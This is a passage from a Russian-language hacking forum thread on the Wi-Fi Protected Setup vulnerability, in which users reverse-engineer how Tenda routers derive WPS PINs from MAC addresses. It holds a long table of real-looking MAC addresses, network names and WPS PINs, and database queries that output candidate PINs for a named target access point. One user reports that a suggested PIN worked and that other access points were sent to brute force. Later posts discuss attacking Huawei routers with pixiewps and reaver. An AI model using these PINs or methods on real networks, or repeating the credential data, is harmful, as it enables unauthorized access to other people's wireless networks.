Уязвимость в протоколе Wi-Fi Protected Setup

Discussion in 'Беспроводные технологии/Wi-Fi/Wardriving' started by gpuhash, 30 Dec 2011.

  1. TOX1C

    TOX1C Elder - Старейшина

    Joined:
    24 Mar 2012
    Messages:
    1,135
    Likes Received:
    1,931
    Reputations:
    24
    Если предположить, что C8:3A:35:02:F2:F0 - это как раз и есть первое устройство в серии, то от устройств с меньшим MAC адресом брать пинкоды для вычисления бессмысленно, не подойдут.
    C8:3A:35:02:F2:F8 1634243 - похоже на потенциальный дубль, после 17 идти 16 никак не может.
    В диапазоне C8:3A:35:02:F3:* 3 устройства со static pin, одно 24bit pin - тоже не подходит.
    Подходит появившаяся буквально пару дней назад точка, которую запостили выше.

    А если поискать от очень дальних устройств, а не от близких?
    Слабо верится в то, что китаец от балды, вручную набирал MAC и PIN в справку, и очень точно угадал. Разве что у него этот роутер перед носом висел.
     
  2. Isica

    Isica Active Member

    Joined:
    17 Oct 2018
    Messages:
    204
    Likes Received:
    136
    Reputations:
    1
    +100

    Однако наблюдается резонанс с C8:3A:35:02:F0:E8 (-520)
    Так что, видимо, не первое (да и мак слишком некруглый, как для первого).
     
    #4762 Isica, 15 Jul 2020
    Last edited: 15 Jul 2020
    TOX1C likes this.
  3. Isica

    Isica Active Member

    Joined:
    17 Oct 2018
    Messages:
    204
    Likes Received:
    136
    Reputations:
    1
    4Fun
    Code:
    [+] Found 92 records
    [+] 55 anchor points defined
    Любопытно, почему именно 55? Это у Вас максимальное кол-во векторов?
     
  4. Monohrom

    Monohrom Active Member

    Joined:
    26 Jan 2020
    Messages:
    83
    Likes Received:
    132
    Reputations:
    2
    В любом случае то что я нашёл похоже на дебаг информацию которая попала в прошивку случайно, а алгоритм случайно в прошивку положить ну это уже клиника
     
  5. Isica

    Isica Active Member

    Joined:
    17 Oct 2018
    Messages:
    204
    Likes Received:
    136
    Reputations:
    1
    Походу, обстановка с реюзингом маков в этом диапазоне:
    Code:
    *************************** 1. row ***************************
       MAC: C8:3A:35:02:91:A0
    models:
            Tenda 11N Wireless Router                           53541598 Nestor_angnes,
            Tenda 11N Wireless Router                           09278325 nuovareti1112,
            Tenda 11N Wireless Router                           01683523 BatMitko
    *************************** 2. row ***************************
       MAC: C8:3A:35:02:91:F0
    models:
            Tenda 11N Wireless Router                           85467811 Rimann,
            Tenda 11N Wireless Router                           20002000 Rimann,
            Tenda 11N Wireless Router                           09278325 nuovareti1119
    *************************** 3. row ***************************
       MAC: C8:3A:35:02:BA:D8
    models:
            Tenda 11N Wireless Router                           35806691 TOP-NET-FLORENCIO,
            Tenda 11N Wireless Router                           24366182 Inovacao,
            Tenda 11N Wireless Router                           01789041 DOM
    *************************** 4. row ***************************
       MAC: C8:3A:35:02:BB:E8
    models:
            Tenda 11N Wireless Router                           96164464 NuCom_02BBE8,
            Tenda 11N Wireless Router                           70829570 Tenda_02BBE8,
            Tenda 11N Wireless Router                           17847643 Abdlhai RMS-Net
    *************************** 5. row ***************************
       MAC: C8:3A:35:02:C0:C0
    models:
            Tenda 11N Wireless Router                           12345678 NuCom_02C0C0,
            Tenda 11N Wireless Router                           09278325 novareti1047,
            Tenda 11N Wireless Router                           01804164 NuCom_02C0C0
    *************************** 6. row ***************************
       MAC: C8:3A:35:02:C3:B0
    models:
            Tenda 11N Wireless Router                           45304347 ...DARLENE...,
            Tenda 11N Wireless Router                           25332339 AirWifi_C3B0,
            Tenda 11N Wireless Router                           10650240 Tenda_02C3B0
    *************************** 7. row ***************************
       MAC: C8:3A:35:02:DA:00
    models:
            Tenda 11N Wireless Router                           54693050 T@mer,
            Tenda 11N Wireless Router                           43665235 ALLAL BEN ABDELLAH,
            Tenda 11N Wireless Router                           01868807 Multilaser_WS01
    *************************** 8. row ***************************
       MAC: C8:3A:35:02:DB:40
    models:
            Tenda 11N Wireless Router                           61379862 NuCom_02DB40,
            Tenda 11N Wireless Router                           25086164 NATALINA_RSnet_FIBRA,
            Tenda Realtek Router, firmware: V12.01.01.29_multi  54823624 Alal
    *************************** 9. row ***************************
       MAC: C8:3A:35:02:05:80
    models:
            Tenda 11N Wireless Router                           91482785 AKIWIFI34336,
            Tenda 11N Wireless Router                           57682693 Hibernian 805
    *************************** 10. row ***************************
       MAC: C8:3A:35:02:0A:D8
    models:
            Tenda 11N Wireless Router                           79096560 Anna,
            Tenda 11N Wireless Router                           78649538 Mimi
    *************************** 11. row ***************************
       MAC: C8:3A:35:02:0A:E0
    models:
            Tenda 11N Wireless Router                           17179232 Paga ai,
            Tenda Wireless-N Router                             01338560 Tenda
    *************************** 12. row ***************************
       MAC: C8:3A:35:02:11:70
    models:
            Tenda 11N Wireless Router                           70272406 WLAN2,
            Tenda 11N Wireless Router                           11032809 Prime1689
    *************************** 13. row ***************************
       MAC: C8:3A:35:02:11:80
    models:
            Tenda 11N Wireless Router                           87654321 Ta dificil,
            Tenda 11N Wireless Router                           14948497 Prime2197
    *************************** 14. row ***************************
       MAC: C8:3A:35:02:13:38
    models:
            Tenda 11N Wireless Router                           46951502 EISYA-WIFI-FREE,
            Tenda Realtek Router, firmware: V11.13.01.23_multi  45231377 nikolic
    *************************** 15. row ***************************
       MAC: C8:3A:35:02:13:E0
    models:
            Tenda 11N Wireless Router                           35806691 Sonia,
            Tenda 11N Wireless Router                           25086164 SOUZA
    *************************** 16. row ***************************
       MAC: C8:3A:35:02:1C:D0
    models:
            Tenda 11N Wireless Router                           74250226 QUANTIS,
            Tenda 11N Wireless Router                           34960844 Igor
    *************************** 17. row ***************************
       MAC: C8:3A:35:02:2F:70
    models:
            Tenda 11N Wireless Router                           25086164 EUNICE,
            Tenda 11N Wireless Router                           01432169 Tenda_022F70
    *************************** 18. row ***************************
       MAC: C8:3A:35:02:34:48
    models:
            Tenda 11N Wireless Router                           25086164 wagner_UltraFiber,
            Tenda 11N Wireless Router                           17860475 INTERLIBRE_4178
    *************************** 19. row ***************************
       MAC: C8:3A:35:02:3A:58
    models:
            Tenda 11N Wireless Router                           35806691 Gustavo,
            Tenda 11N Wireless Router                           01460087 Biblioteca
    *************************** 20. row ***************************
       MAC: C8:3A:35:02:4E:18
    models:
            Tenda 11N Wireless Router                           35806691 WALLINGTON,
            Tenda 11N Wireless Router                           01510645 ALI
    *************************** 21. row ***************************
       MAC: C8:3A:35:02:6F:18
    models:
            Tenda 11N Wireless Router                           98765432 Jair,
            Tenda 11N Wireless Router                           12345670 ROREIA
    *************************** 22. row ***************************
       MAC: C8:3A:35:02:74:F8
    models:
            Tenda 11N Wireless Router                           35806691 WiFi_Sandra,
            Tenda 11N Wireless Router                           14967108 AFFARA
    *************************** 23. row ***************************
       MAC: C8:3A:35:02:7A:88
    models:
            Tenda 11N Wireless Router                           25086164 Moreno_Fixa,
            Tenda Wireless-N Router (rebranded)                 01624403 Alessi
    *************************** 24. row ***************************
       MAC: C8:3A:35:02:7C:68
    models:
            Tenda 11N Wireless Router                           38936241 NetMin,
            Tenda 11N Wireless Router                           01629200 TomRaider
    *************************** 25. row ***************************
       MAC: C8:3A:35:02:7D:08
    models:
            Tenda 11N Wireless Router                           63711394 Nour Net (fakir),
            Tenda Realtek Router, firmware: V11.13.01.23_multi  69823787 Campina Digital F06
    *************************** 26. row ***************************
       MAC: C8:3A:35:02:82:E8
    models:
            Tenda 11N Wireless Router                           80004127 Margarida Nogueira,
            Tenda 11N Wireless Router                           50685493 NuCom_0282E8
    *************************** 27. row ***************************
       MAC: C8:3A:35:02:87:50
    models:
            Tenda 11N Wireless Router                           17275583 NuCom_028750,
            Tenda 11N Wireless Router                           01657128 Barny
    *************************** 28. row ***************************
       MAC: C8:3A:35:02:87:B8
    models:
            Tenda 11N Wireless Router                           44680800 NuCom_0287B8,
            Tenda 11N Wireless Router                           35806691 Vado
    *************************** 29. row ***************************
       MAC: C8:3A:35:02:88:78
    models:
            Tenda 11N Wireless Router                           96888841 NuCom_028878,
            Tenda 11N Wireless Router                           18572018 J-R-NET-208-71290220
    *************************** 30. row ***************************
       MAC: C8:3A:35:02:88:E0
    models:
            Tenda 11N Wireless Router                           61478268 Musawar,
            Tenda 11N Wireless Router                           24296625 NuCom_0288E0
    *************************** 31. row ***************************
       MAC: C8:3A:35:02:89:08
    models:
            Tenda 11N Wireless Router                           64847528 Tenda_028908,
            Tenda 11N Wireless Router                           34736074 SECTEUR SCOLAIRE TAMEZRITE
    *************************** 32. row ***************************
       MAC: C8:3A:35:02:89:90
    models:
            Tenda 11N Wireless Router                           15186713 fawzi khayat,
            Tenda 11N Wireless Router                           14797316 REDE_MARIA_ALICE
    *************************** 33. row ***************************
       MAC: C8:3A:35:02:8A:48
    models:
            Tenda 11N Wireless Router                           12345670 MOHIT_TENDA,
            Tenda 11N Wireless Router                           01664720 23
    *************************** 34. row ***************************
       MAC: C8:3A:35:02:8B:10
    models:
            Tenda 11N Wireless Router                           18294644 abbass,
            Tenda Wireless-N Router                             01666724 djhome
    *************************** 35. row ***************************
       MAC: C8:3A:35:02:8B:30
    models:
            Tenda 11N Wireless Router                           26778808 T.S,
            Tenda 11N Wireless Router                           01667042 Biliana
    *************************** 36. row ***************************
       MAC: C8:3A:35:02:8E:58
    models:
            Tenda 11N Wireless Router                           35206347 Colombia,
            Tenda 11N Wireless Router                           16573949 mayada
    *************************** 37. row ***************************
       MAC: C8:3A:35:02:8F:30
    models:
            Tenda 11N Wireless Router                           53625137 AirWifi_028F30,
            Tenda 11N Wireless Router                           46470591 KETELECOM0846
    *************************** 38. row ***************************
       MAC: C8:3A:35:02:8F:90
    models:
            Tenda 11N Wireless Router                           79072519 Airwifi_028F90,
            Tenda Wireless-N Router (rebranded)                 01678246 Leuzingar
    *************************** 39. row ***************************
       MAC: C8:3A:35:02:8F:D8
    models:
            Tenda 11N Wireless Router                           35806691 AMD,
            Tenda 11N Wireless Router                           01678963 Adriana
    *************************** 40. row ***************************
       MAC: C8:3A:35:02:90:20
    models:
            Tenda 11N Wireless Router                           17575102 AirWifi_029020,
            Tenda 11N Wireless Router                           01679687 Integra
    *************************** 41. row ***************************
       MAC: C8:3A:35:02:92:90
    models:
            Tenda 11N Wireless Router                           27880975 Tenda_029290,
            Tenda 11N Wireless Router                           01685923 Tenda_029290
    *************************** 42. row ***************************
       MAC: C8:3A:35:02:93:10
    models:
            Tenda 11N Wireless Router                           35806691 VIATELECOM_JESUS_CRISTO,
            Tenda 11N Wireless Router                           01687200 Mimi
    *************************** 43. row ***************************
       MAC: C8:3A:35:02:94:D8
    models:
            Tenda 11N Wireless Router                           45304347 Roze,
            Tenda 11N Wireless Router                           16724693 KOBAISSY-NET
    *************************** 44. row ***************************
       MAC: C8:3A:35:02:96:F0
    models:
            Tenda 11N Wireless Router                           56153071 sashko,
            Tenda 11N Wireless Router                           01697124 nikita
    *************************** 45. row ***************************
       MAC: C8:3A:35:02:9D:10
    models:
            Tenda 11N Wireless Router                           68340032 Tenda_029D10,
            Tenda 11N Wireless Router                           64883175 WISPEUROPA_2336
    *************************** 46. row ***************************
       MAC: C8:3A:35:02:9D:A0
    models:
            Tenda 11N Wireless Router                           25086164 SPR_JWE,
            Tenda Wireless-N Router                             01714241 Dorothygigi
    *************************** 47. row ***************************
       MAC: C8:3A:35:02:9E:68
    models:
            Tenda 11N Wireless Router                           89121566 AirWifi_029EG43,
            Tenda 11N Wireless Router                           25086164 SimoneCosta
    *************************** 48. row ***************************
       MAC: C8:3A:35:02:9E:88
    models:
            Tenda 11N Wireless Router                           97603177 Airwifi_AB12C3,
            Tenda 11N Wireless Router                           19286341 Fiber Tech 03-458072
    *************************** 49. row ***************************
       MAC: C8:3A:35:02:A0:08
    models:
            Tenda 11N Wireless Router                           71941233 Panasonic_FiberNett,
            Tenda 11N Wireless Router                           33569666 Tatiana.Fox.Net
    *************************** 50. row ***************************
       MAC: C8:3A:35:02:A0:F8
    models:
            Tenda 11N Wireless Router                           25086164 boloyong,
            Tenda 11N Wireless Router                           09278325 nuovareti1098
    *************************** 51. row ***************************
       MAC: C8:3A:35:02:A2:B0
    models:
            Tenda 11N Wireless Router                           25086164 ComercialSobradinho,
            Tenda 11N Wireless Router                           18456509 Tenda_02A2B0
    *************************** 52. row ***************************
       MAC: C8:3A:35:02:A7:88
    models:
            Tenda 11N Wireless Router                           43180622 WISPEUROPA-2195,
            Tenda 11N Wireless Router                           25086164 Lenir_RedeConesul
    *************************** 53. row ***************************
       MAC: C8:3A:35:02:AA:28
    models:
            Tenda 11N Wireless Router                           44950958 PCMR,
            Tenda 11N Wireless Router                           25086164 vicente
    *************************** 54. row ***************************
       MAC: C8:3A:35:02:AB:88
    models:
            Tenda 11N Wireless Router                           61162907 Spark-Wehbi,
            Tenda 11N Wireless Router                           48826921 WISPEUROPA_2220
    *************************** 55. row ***************************
       MAC: C8:3A:35:02:B3:60
    models:
            Tenda 11N Wireless Router                           25086164 ADRYAN,
            Tenda 11N Wireless Router                           14791116 Goufone_019E42
    *************************** 56. row ***************************
       MAC: C8:3A:35:02:B8:B8
    models:
            Tenda 11N Wireless Router                           57667140 Hamza,
            Tenda 11N Wireless Router                           45331176 NuCom_02B8B8
    *************************** 57. row ***************************
       MAC: C8:3A:35:02:BA:08
    models:
            Tenda 11N Wireless Router                           35383888 NuCom_02BA08,
            Tenda Realtek Router, firmware: V11.13.01.23_multi  65335345 Anonymous
    *************************** 58. row ***************************
       MAC: C8:3A:35:02:BB:28
    models:
            Tenda 11N Wireless Router                           25934908 Tenda_02BB28,
            Tenda 11N Wireless Router                           00000000 JAAFAR
    *************************** 59. row ***************************
       MAC: C8:3A:35:02:BB:90
    models:
            Tenda 11N Wireless Router                           84355546 ahmad kadi @BilalNet03898007,
            Tenda 11N Wireless Router                           72674925 HARCHA
    *************************** 60. row ***************************
       MAC: C8:3A:35:02:BD:60
    models:
            Tenda 11N Wireless Router                           36707256 Tenda 31,
            Tenda 11N Wireless Router                           28231660 NuCom_02BD60
    *************************** 61. row ***************************
       MAC: C8:3A:35:02:BF:78
    models:
            Tenda 11N Wireless Router                           43015368 air2bite_Barbara,
            Tenda 11N Wireless Router                           16356153 Alaa12
    *************************** 62. row ***************************
       MAC: C8:3A:35:02:C0:48
    models:
            Tenda 11N Wireless Router                           25086164 logar_patricia,
            Tenda 11N Wireless Router                           09278325 nuovareti1312
    *************************** 63. row ***************************
       MAC: C8:3A:35:02:C0:E0
    models:
            Tenda 11N Wireless Router                           10601778 NuCom_02C0E0,
            Tenda Wireless-N Router                             01804485 IPCAM
    *************************** 64. row ***************************
       MAC: C8:3A:35:02:C0:F0
    models:
            Tenda 11N Wireless Router                           09278325 nuovareti1002,
            Tenda Wireless-N Router (rebranded)                 01804645 d1a2n3i4l5o6
    *************************** 65. row ***************************
       MAC: C8:3A:35:02:C1:70
    models:
            Tenda 11N Wireless Router                           43015368 air2bite_wifi,
            Tenda Realtek Router, firmware: V11.13.01.25_multi  56080780 NETWORKING 2
    *************************** 66. row ***************************
       MAC: C8:3A:35:02:C2:88
    models:
            Tenda 11N Wireless Router                           46371874 MOVISTAR_5F18,
            Tenda 11N Wireless Router                           18258813 Tenda_02C288
    *************************** 67. row ***************************
       MAC: C8:3A:35:02:C3:08
    models:
            Tenda 11N Wireless Router                           91986597 Vzone76151122 Aboali,
            Tenda 11N Wireless Router                           80305972 AirWifi_FranciscoM
    *************************** 68. row ***************************
       MAC: C8:3A:35:02:C4:48
    models:
            Tenda Realtek Router, firmware: V11.13.01.25_multi  15652386 Tenda_02C448,
            Tenda Wireless-N Router                             01813203 ZeeBG_Bella
    *************************** 69. row ***************************
       MAC: C8:3A:35:02:C4:50
    models:
            Tenda 11N Wireless Router                           25086164 ALVES,
            Tenda Wireless-N Router                             01813289 Lachezar
    *************************** 70. row ***************************
       MAC: C8:3A:35:02:CD:20
    models:
            Tenda 11N Wireless Router                           26659435 ALIVE_NET,
            Tenda 11N Wireless Router                           25086164 ALIVE_NET
    *************************** 71. row ***************************
       MAC: C8:3A:35:02:D5:98
    models:
            Tenda 11N Wireless Router                           35806691 ASbyte C2R3,
            Tenda 11N Wireless Router                           00000000 NuCom_339CB8
    *************************** 72. row ***************************
       MAC: C8:3A:35:02:D7:18
    models:
            Tenda 11N Wireless Router                           24091534 YEHYA,
            Tenda 11N Wireless Router                           01861365 JUNIOR
    *************************** 73. row ***************************
       MAC: C8:3A:35:02:D7:D8
    models:
            Tenda 11N Wireless Router                           35806691 CPT,
            Tenda 11N Wireless Router                           00000000 asad
    *************************** 74. row ***************************
       MAC: C8:3A:35:02:D8:30
    models:
            Tenda 11N Wireless Router                           19028170 NuCom_02D830,
            Tenda 11N Wireless Router                           01864168 CW18
    *************************** 75. row ***************************
       MAC: C8:3A:35:02:DA:08
    models:
            Tenda 11N Wireless Router                           57306254 Issam Home,
            Tenda 11N Wireless Router                           45623073 TARIK IBN ZIAD
    *************************** 76. row ***************************
       MAC: C8:3A:35:02:DB:B0
    models:
            Tenda 11N Wireless Router                           91395733 NuCom_02DBB0,
            Tenda 11N Wireless Router                           13076344 RR
    *************************** 77. row ***************************
       MAC: C8:3A:35:02:DB:D0
    models:
            Tenda 11N Wireless Router                           99879891 NuCom_02DBD0,
            Tenda 11N Wireless Router                           11560517 Alex
    *************************** 78. row ***************************
       MAC: C8:3A:35:02:DD:58
    models:
            Tenda 11N Wireless Router                           37170943 OULED HADOU,
            Tenda 11N Wireless Router                           36789818 PENTAGRAM
    *************************** 79. row ***************************
       MAC: C8:3A:35:02:DD:78
    models:
            Tenda 11N Wireless Router                           45652547 BN ANZARANE,
            Tenda 11N Wireless Router                           01877687 NO-WIFI
    *************************** 80. row ***************************
       MAC: C8:3A:35:02:E0:D0
    models:
            Tenda 11N Wireless Router                           35806691 Virus,
            Tenda 11N Wireless Router                           18608465 youssef khoury
    *************************** 81. row ***************************
       MAC: C8:3A:35:02:E1:50
    models:
            Tenda 11N Wireless Router                           25086164 SPR_JOELMA_MANUELA,
            Tenda 11N Wireless Router                           19750750 rada miteva
    *************************** 82. row ***************************
       MAC: C8:3A:35:02:E1:A0
    models:
            Tenda 11N Wireless Router                           31285018 BiBi_TENDA,
            Tenda 11N Wireless Router                           13099640 Kabachek-Meg@net
    *************************** 83. row ***************************
       MAC: C8:3A:35:02:E8:90
    models:
            Tenda 11N Wireless Router                           34137871 QUANTIS,
            Tenda 3G 11N Router                                 01906080 status
    *************************** 84. row ***************************
       MAC: C8:3A:35:02:E9:F8
    models:
            Tenda 11N Wireless Router                           99608279 Tenda_02E9F8,
            Tenda 11N Wireless Router                           01909685 CAPITAO
    *************************** 85. row ***************************
       MAC: C8:3A:35:02:EA:00
    models:
            Tenda 11N Wireless Router                           25777390 TCD:DANIEL,
            Tenda Wireless-N Router                             01909760 Tenda
    *************************** 86. row ***************************
       MAC: C8:3A:35:02:EC:F0
    models:
            Tenda 11N Wireless Router                           98770113 QUANTIS1,
            Tenda 11N Wireless Router                           34778272 Pantiru-WiFi
    *************************** 87. row ***************************
       MAC: C8:3A:35:02:ED:B0
    models:
            Tenda 11N Wireless Router                           61348059 Wahid,
            Tenda 11N Wireless Router                           18558791 ZNMITKO
    *************************** 88. row ***************************
       MAC: C8:3A:35:02:F2:10
    models:
            Tenda 11N Wireless Router                           50310395 NO NAME,
            Tenda 11N Wireless Router                           21464546 zubko-meganet
    *************************** 89. row ***************************
       MAC: C8:3A:35:02:F2:98
    models:
            Tenda 11N Wireless Router                           61869684 Tahhan,
            Tenda 11N Wireless Router                           50189069 WISPEUROPA_2246
    *************************** 90. row ***************************
       MAC: C8:3A:35:02:F5:58
    models:
            Tenda 11N Wireless Router                           25086164 CRISTIANE,
            Tenda 11N Wireless Router                           13234331 La Puchi lo sabe
    *************************** 91. row ***************************
       MAC: C8:3A:35:02:F9:C8
    models:
            Tenda 11N Wireless Router                           71398570 BravaVlas,
            Tenda 11N Wireless Router                           51235031 OR050
    *************************** 92. row ***************************
       MAC: C8:3A:35:02:FC:48
    models:
            Tenda 11N Wireless Router                           42750710 Jetnet,
            Tenda 11N Wireless Router                           01956566 Tenda_02FC48
    *************************** 93. row ***************************
       MAC: C8:3A:35:02:FF:08
    models:
            Tenda 11N Wireless Router                           62912785 Wifi,
            Tenda 11N Wireless Router                           16821248 dhayweh-international
    93 rows in set (0.08 sec)
    
     
     
    TOX1C likes this.
  6. Isica

    Isica Active Member

    Joined:
    17 Oct 2018
    Messages:
    204
    Likes Received:
    136
    Reputations:
    1
    А что там можно было дебажить без алгоритма?
     
  7. Monohrom

    Monohrom Active Member

    Joined:
    26 Jan 2020
    Messages:
    83
    Likes Received:
    132
    Reputations:
    2
    Это было из разряда фантазий. Не обращайте внимания
     
  8. 4Fun

    4Fun Elder - Старейшина

    Joined:
    25 Jul 2018
    Messages:
    496
    Likes Received:
    708
    Reputations:
    11
    Остальные были отсеяны по 4 причинам:
    1) лимит DeltaMAC, определённый максимальным ключом в файле tenda_deltas.json (4096);
    2) DeltaMAC не является одним из известных; такое может произойти, когда целевой MAC чётный, а MAC опорной точки нечётный, например 11:22:33:44:55:60 и 11:22:33:44:55:01
    3) были найдены признаки левых нецелевых роутеров (например, статичные пины или MAC в пин по какому-либо известному алгоритму);
    4) повторяющиеся записи.
    По умолчанию ограничения на количество опорных точек нет, но его можно задать аргументом --anchors
     
    #4768 4Fun, 15 Jul 2020
    Last edited: 16 Jul 2020
    TOX1C and Isica like this.
  9. Felis-Sapiens

    Felis-Sapiens Reservists Of Antichat

    Joined:
    21 Jul 2015
    Messages:
    616
    Likes Received:
    3,833
    Reputations:
    171
    В какой конкретно прошивке?
     
    TOX1C likes this.
  10. Monohrom

    Monohrom Active Member

    Joined:
    26 Jan 2020
    Messages:
    83
    Likes Received:
    132
    Reputations:
    2
    Точно не скажу потому что было в мае. У меня с того времени только заметка что данный js файл был найден в нетисе. Прошивки не сохранилось, точного названия не помню.
     
    TOX1C and 4Fun like this.
  11. Monohrom

    Monohrom Active Member

    Joined:
    26 Jan 2020
    Messages:
    83
    Likes Received:
    132
    Reputations:
    2
    Cудя по всему так и есть.
    Искомая Тенда:
    CC:2D:21:1C:AF:41 69024733 Tenda Web (AC10), hardware: V1.0, firmware: V15.03.06.48_multi
    Опорная Тенда благодаря какой нашёлся пин-код:
    CC:2D:21:1C:AF:11 63151213 Tenda Web (AC10), hardware: V1.0, firmware: V15.03.06.48_multi
    Обе тенды это:Tenda AC10 на базе Realtek RTL8197FS

    На этих Тенда и пароли дефолтные появились


    Алгоритм генерации пин-кодов для Тенд на базе броадкома eCos
    https://github.com/drygdryg/Tenda-AC/blob/master/bcm/src/router/shared/broadcom.c
    Искать функцию:wl_wpsPinGen()
     

    Attached Files:

    #4771 Monohrom, 18 Jul 2020
    Last edited: 18 Jul 2020
    TOX1C and 4Fun like this.
  12. Isica

    Isica Active Member

    Joined:
    17 Oct 2018
    Messages:
    204
    Likes Received:
    136
    Reputations:
    1
    А пароль весёлый :) Пора составлять словарь табличку DeltaMAC--DeltaPass :D
     
    user100, TOX1C and Monohrom like this.
  13. TOX1C

    TOX1C Elder - Старейшина

    Joined:
    24 Mar 2012
    Messages:
    1,135
    Likes Received:
    1,931
    Reputations:
    24
    Под боком затесалась интересная точка, для которой от этих двух опорных сгенерировались разные пины, и они не подходят - не нашелся даже первый халф. Дважды увел точку в лок.
    CC:2D:21:1C:AF:E1
    tenda-bad.png
    Оно мнит себя Realtek Wireless AP, но похоже что не тем, которые засветились в базе.
     
    ReaGeN likes this.
  14. Monohrom

    Monohrom Active Member

    Joined:
    26 Jan 2020
    Messages:
    83
    Likes Received:
    132
    Reputations:
    2
    Роутеров с такой прошивкой в базе всего 65 штук. Так что не удивительно.
     
  15. Isica

    Isica Active Member

    Joined:
    17 Oct 2018
    Messages:
    204
    Likes Received:
    136
    Reputations:
    1
    А эти пробовали?
    Code:
    MariaDB [Tenda]> select tenda_pin8('CC:2D:21:1C:AF:E1');
    *************************** 1. row ***************************
    tenda_pin8('CC:2D:21:1C:AF:E1'):
    |----------------------------------------------------------------------------------------------|
    |Опорные точки (ближайшие данные в базе):
    |1) CC:2D:21:1C:A4:71, -2928,    913 пар, 125 уникальных дельт (1:7.30), 59 мажорных(вес 92.8%)
    |2) CC:2D:21:1C:C8:01, +6176,    442 пар, 108 уникальных дельт (1:4.09), 46 мажорных(вес 86.0%)
    |3) CC:2D:21:1D:09:31, +22864,   176 пар,  79 уникальных дельт (1:2.23), 17 мажорных(вес 64.8%)
    |4) CC:2D:21:1D:1C:11, +27696,   175 пар,  72 уникальных дельт (1:2.43), 24 мажорных(вес 72.6%)
    |5) CC:2D:21:1C:35:A1, -31296,   144 пар,  61 уникальных дельт (1:2.36), 12 мажорных(вес 66.0%)
    |6) CC:2D:21:1C:19:11, -38608,   147 пар,  92 уникальных дельт (1:1.60), 24 мажорных(вес 53.7%)
    |7) CC:2D:21:1D:71:A1, +49600,   118 пар,  67 уникальных дельт (1:1.76), 13 мажорных(вес 54.2%)
    |8) CC:2D:21:1E:77:D1, +116720,   95 пар,  83 уникальных дельт (1:1.14),  6 мажорных(вес 18.9%)
    |----------------------------------------------------------------------------------------------|
    |После объединения осталось 680 пинов, из них 0 полностью перекрёстных (MaxX=1).
    |Эффективность халф-оптимизации: 1.45.
    |----------------------------------------------------------------------------------------------|
    |ИТОГО: 468 фёст-халфов, 0 полно-перекрёстных.
    |----------------------------------------------------------------------------------------------|
    1 row in set (1.23 sec)
    
    MariaDB [Tenda]> select * from tmp_TendaHalfs where X;
    +------+------+------+------+------+------+------+------+------+------+------+------+------+
    | n    | Half | X    | Xh   | m    | m1   | m2   | m3   | m4   | m5   | m6   | m7   | m8   |
    +------+------+------+------+------+------+------+------+------+------+------+------+------+
    |    1 | 4121 |    1 |    1 |   21 |   12 |    9 |    0 |    0 |    0 |    0 |    0 |    0 |
    |    2 | 4187 |    1 |    1 |   11 |    1 |   10 |    0 |    0 |    0 |    0 |    0 |    0 |
    |    3 | 4056 |    1 |    1 |    6 |    3 |    3 |    0 |    0 |    0 |    0 |    0 |    0 |
    |    4 | 5121 |    1 |    1 |    5 |    2 |    3 |    0 |    0 |    0 |    0 |    0 |    0 |
    |    5 | 9055 |    1 |    2 |    3 |    0 |    0 |    1 |    0 |    1 |    1 |    0 |    0 |
    |    6 | 4122 |    1 |    1 |    3 |    0 |    2 |    0 |    1 |    0 |    0 |    0 |    0 |
    +------+------+------+------+------+------+------+------+------+------+------+------+------+
    6 rows in set (0.00 sec)
    
    
     
  16. TOX1C

    TOX1C Elder - Старейшина

    Joined:
    24 Mar 2012
    Messages:
    1,135
    Likes Received:
    1,931
    Reputations:
    24
    Второй предложенный подошел.
    1cafe0.JPG
    Для вот этой (50:0F:F5:A1:CC:01) верный пин на втором месте (10415962). У всех бонусных точек wps выключен по умолчанию, поэтому они и отправились на брут.
     
    #4776 TOX1C, 19 Jul 2020
    Last edited: 19 Jul 2020
    binarymaster likes this.
  17. roman921

    roman921 Member

    Joined:
    24 May 2015
    Messages:
    316
    Likes Received:
    22
    Reputations:
    0
    А у кого-нибудь есть опыт атак на wps роутеры huavei, уязвимы ли они к pixiewps ? На сколько их сложно по wps пробить ?
     
  18. Isica

    Isica Active Member

    Joined:
    17 Oct 2018
    Messages:
    204
    Likes Received:
    136
    Reputations:
    1
    Тогда так:
    Code:
    MariaDB [Tenda]> select * from tmp_TendaPins where PIN like '4187%' order by n;
    +------+---------+------+------+------+------+------+------+------+------+------+------+
    | n    | PIN     | X    | m    | m1   | m2   | m3   | m4   | m5   | m6   | m7   | m8   |
    +------+---------+------+------+------+------+------+------+------+------+------+------+
    |    2 | 4187495 |    1 |    6 |    1 |    5 |    0 |    0 |    0 |    0 |    0 |    0 |
    |  127 | 4187751 |    0 |    3 |    0 |    3 |    0 |    0 |    0 |    0 |    0 |    0 |
    |  426 | 4187239 |    0 |    1 |    0 |    1 |    0 |    0 |    0 |    0 |    0 |    0 |
    |  443 | 4187494 |    0 |    1 |    0 |    1 |    0 |    0 |    0 |    0 |    0 |    0 |
    +------+---------+------+------+------+------+------+------+------+------+------+------+
    4 rows in set (0.00 sec)
    
    
     
    TOX1C likes this.
  19. TOX1C

    TOX1C Elder - Старейшина

    Joined:
    24 Mar 2012
    Messages:
    1,135
    Likes Received:
    1,931
    Reputations:
    24
    Опыт есть, все зависит непосредственно от модели роутера и его прошивки. Иногда неуязвимы, иногда полный набор - и pixiedust работает, и пин обычный mac2pin.
     
  20. roman921

    roman921 Member

    Joined:
    24 May 2015
    Messages:
    316
    Likes Received:
    22
    Reputations:
    0
    Интересуют такие модели 24:da:33:81:XX:YY HUAWEI-B315-XXYY. У меня не получилось их ривером, они просто не присылали пакеты m1,m2. Стоял около роутера, сигнал -40 был.